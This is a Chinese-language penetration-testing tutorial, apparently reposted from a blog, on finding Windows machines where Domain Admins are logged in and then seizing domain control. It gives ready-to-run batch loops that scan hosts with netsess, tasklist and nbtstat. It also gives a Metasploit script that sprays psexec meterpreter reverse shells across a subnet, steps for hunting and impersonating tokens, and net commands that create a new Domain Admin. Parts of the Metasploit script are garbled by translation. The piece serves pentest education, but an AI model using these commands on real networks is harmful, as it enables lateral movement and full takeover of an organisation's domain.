前言
当计算机加入到域后,默认将"Domain Admin"组赋予了本地系统管理员的权限。也就是说,在计算机添加到域,成为域的成员主机的过程中,系统将会自动把"Domain Admin"域组添加到本地的Administrators组中。因此,只要是Domain Admin组的成员均可访问本地计算机,而且具备"完全控制"的权限。
因此对于渗透测试人员来说,把"Domain Admin"域组添加到本地的Administrators组中是他们模拟域管理员帐户操作的常用方式。不过前提是,他们需要知道这些进程正在运行的系统。在本文中,五种寻找 "Domain Admin" 运行的进程的方法,其中涉及的技术包括:
1.本地检查;
2.查询活动域用户会话的域控制器;
3.扫描运行任务的远程系统;
4.扫描NETBIOS协议信息的远程系统
5.用于令牌验证的PSExec Shell喷洒远程系统
获取域管理权限
本文在大多数情况下,都将重点关注运行域管理进程的系统。不过即便如此,我还是要介绍一下很多渗透测试人员用来获取域管理员权限的标准过程。
1.识别目标系统和应用程序;
2.识别潜在的漏洞;
3.利用漏洞获取初始访问权限;
4.升级受感染系统的权限;
5.在本地或远程系统上找到域管理进程或身份验证令牌;
6.通过发送本地管理员的密码哈希,破解密码或使用mimikatz这样的工具来转储密码,来对运行域管理进程的远程系统进行身份验证;
7.进入到域管理过程;
8.创建一个域管理;
以上过程是渗透测试的通用步骤,所以没有必要值得多介绍。如果你对细节感兴趣,网上都有大量的教材。
查找域管理进程
以下就是我在网络上查到的查找域管理进程的5种技术。
技术1:本地检查
请务必首先检查最初被破坏的系统,如果你已经存在于域管理进程中,那么在网络上运行真的没什么意义了。以下是使用本机命令检查是否有任何域管理进程正在运行的简单方法:
1.运行以下命令以获取域管理员列表:net group “Domain Admins” /domain;
2.运行Tasklist /v命令以列出进程和进程用户,运行该过程的帐户应该在第7列;
3.将任务列表与域管理员列表交叉引用,查看你是否进入域管理进程中;
如果域管理进程始终是在最初受到攻击的系统上运行,那就太好了,但这属于理想的情况。所以接下来的四种技术将帮助你在各种情况下的远程域系统上找到域管理进程。
技巧2:查询域控制器的活动域用户会话
据我所知,这项技术是安全公司Netspi的原创技术。我们需要一种用来识别活动的域管理进程和登录,而不是在整个网络上执行shell喷洒或执行任何会引发“入侵检测系统”的扫描。最终,我发现只需简单地查询以获取一个活动域用户会话列表即可,然后将该列表与域管理列表交叉引用。唯一可能出现问题的环节,就是你必须查询所有的域控制器。下面是我提供的一些基本步骤,以获得具有域用户权限的活动域管理会话的系统列表。
1.使用LDAP查询或net命令从“域控制器”OU中收集域控制器的列表,以下是我用过的一个net命令:
net group “Domain Controllers” /domain
请注意:虽然OU是域控制器列表的最佳来源,但前提是,你要对受信任域完成枚举并监控这些域控制器的过程。或者,你可以通过DNS查找它们:Nslookup –type=SRV _ldap._tcp.
2.使用LDAP查询或net命令从“域管理员”组中收集域管理员的列表。以下是我用过的一个net命令:
net group “Domain Admins” /domain
3.通过使用Netsess.exe查询每个域控制器,收集所有活动域会话的列表。 Netsess工具是Joe Richards提供的一个很棒的工具,它里面包含了本地Windows函数“netsessionenum”。该函数可以返回活动会话的IP地址、域帐户、会话启动时间和空闲时间。以下是我用过的一个net命令:
Netsess.exe –h
4.将Domain Admin列表与活动会话列表交叉引用,以确定哪些IP地址上有活动的域令牌。在更安全的环境中,你可能需要等待具有域管理员权限的域管理员或服务帐户在网络上执行此操作。不过这意味着我需要多次运行这个过程,或者把它编写出来。下面是一个使用了netsess的非常快速和具有攻击力的Windows命令行脚本。
FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt && FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a
不过请注意,dcs.txt有一个域控制器列表,admins.txt有一个Domain Admins列表。
为此,我编写了一个名为Get Domain Admins(GDA)的基本批处理脚本,它可以自动下载整个过程。readme文件中列出了其中的依赖关系,我还为Windows Dictionary攻击创建了一个名为Get Domain Users(GDU)的批处理文件,它具有和Get Domain Admins(GDA)相似的选项,不过具有更多的依赖关系。如果你感兴趣,可点击上面的链接下载。
技术3:扫描用于运行任务的远程系统
通常情况下,前两种方法已足以保证我取得成功。然而,山外有山,这第三种技术,就是我在LaNMSteR53的博客上看到的,我认为这是一个聪明的方法。当你在域系统上作为共享的本地管理员帐户运行时,就可以通过以下的脚本来扫描系统域管理任务。与以上的技术类似,你需要首先枚举Domain Admins。在下面的脚本中,ips.txt包含目标系统的列表,而names.txt包含域管理员的列表。
FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause
技术4:扫描NetBIOS信息的远程系统
某些Windows系统仍然允许用户通过NetBIOS查询查询登录用户,你可以使用本机nbtstat工具查询信息,在nbtstat结果中,用户名由“<03>”表示。
1.下面是另一个快速而具有攻击的Windows命令行脚本,它将扫描远程系统,找到活动的Domain Admins会话。注意:该脚本可以作为非域用户运行。
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
2.你也可以使用运行速度稍快的nbtscan工具,下面是另一个基本的脚本命令:
for /F %i in (ips.txt) do @echo[+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
技术5:用于身份验证令牌远程系统的PSExec Shell喷洒技术
Psexec“Shell spray”是在Metasploit中的Psexec模块的数百个系统上安装Shell(通常是meterpreter),从而使用共享的本地管理凭证。许多测试人员使用此方法与其他Metasploit功能一起来识别域管理令牌。虽然这是我最不喜欢的技术,但由于pentest社区的很多人都在积极使用它,我觉得我需要把它包括进来。不过,在运行环境中同时启动500个shell可能会导致客户的系统运行出现问题。确切的说,拥有500个shell意味着你可以更快地获取数据。下面是我见过很多人使用的步骤:
1.安装Metasploit 3.5及其以上版本;
2.将下面的脚本复制到一个文本文件中,并保存到Metasploit目录中作为psexec_spray.rc,它是我最初在Jabra的博客上发现的脚本。
#Setup Multi Handler to accept multiple incoming connections use multi/handler setg PAYLOAD windows/meterpreter/reverse_tcp setg LHOST 0.0.0.0 setg LPORT 55555 set ExitOnSession false exploit -j -z
#Setup凭证使用windows/smb/psexec设置SMBPass。
#Setup域作为本地主机,只有使用域凭据才能设置SMBDomain。在#Disable有效载荷处理程序的psexec模块中(使用多处理程序)用set DisablePayloadHandler true #Run Ruby代码扫描所需网络范围的使用的REX API属性:
range walker #note: could also accept ip addresses from a file by replacing rhosts =”192.168.74.0/24” with rhosts = File.readlines(“c:systems.txt”) require ‘rex/socket/range_walk
3.更新smbuser和smbpass参数;
4.发出msfconsole –r psexec_spray.rc命令来运行该脚本。psexec_spray.rc脚本将尝试使用所提供的凭证在每个系统的192.168.1.0/24网络中随意安装meterpreter shell。
5.然后,你可以使用Metasploit模块中的token_hunter来识别每个带shell
系统上的域管理令牌。步骤如下:
5.1 创建一个包含Domain Admins列表的文件,如下所示:COMPANYjoe-admin COMPANYbill-admin COMPANYdavid-admin
5.2 在msfconsole msf> load token_hunter中加载token_hunter模块;
5.3 运行令牌捕获工具来列出包含域管理令牌的会话 msf> token_hunt_user -f /tmp/domain-admin.txt
6.或者,可以使用Sessions –s loggedin
命令从每个带shell的系统中获取当前登录用户的列表,并手动查找Domain Admins。
添加新的域管理员
如果你已经获取了meterpreter会话,则可以使用隐身模式来模拟域管理员,或者添加新的域管理员。隐身模式可以尝试通过遍历系统中所有可用的授权令牌来随意添加新的域管理员。下面是在meterpreter中执行该操作的基本命令。
1.使用load incongnito命令在你的活动meterpreter会话中加载隐身模式;
2.尝试利用以下命令,在系统上添加具有身份验证令牌的域管理员:
add_user -h add_group “”Domain Admins”” -h
如果你有兴趣使用其他选项创建新的域管理员,则可以使用以下说明:
1.在meterpreter控制台中,输入PS命令以查看进程;
2.在meterpreter控制台中,通过migrate命令找到域管理会话并进行迁移;
3.在meterpreter控制台中,输入shell命令获取OS shell;
4.输入以下本机Windows命令来添加新的域管理员:
net user /add /domain net group “Domain Admins” /add /domain
总结
正如本文所述,有很多选项可用于识别域管理进程和身份验证令牌。我建议使用对系统影响较低的方法,相信随着时间的推移,人们会想出更好的想法。
原文地址:https://www.cnblogs.com/jianghongjie/p/9127376.html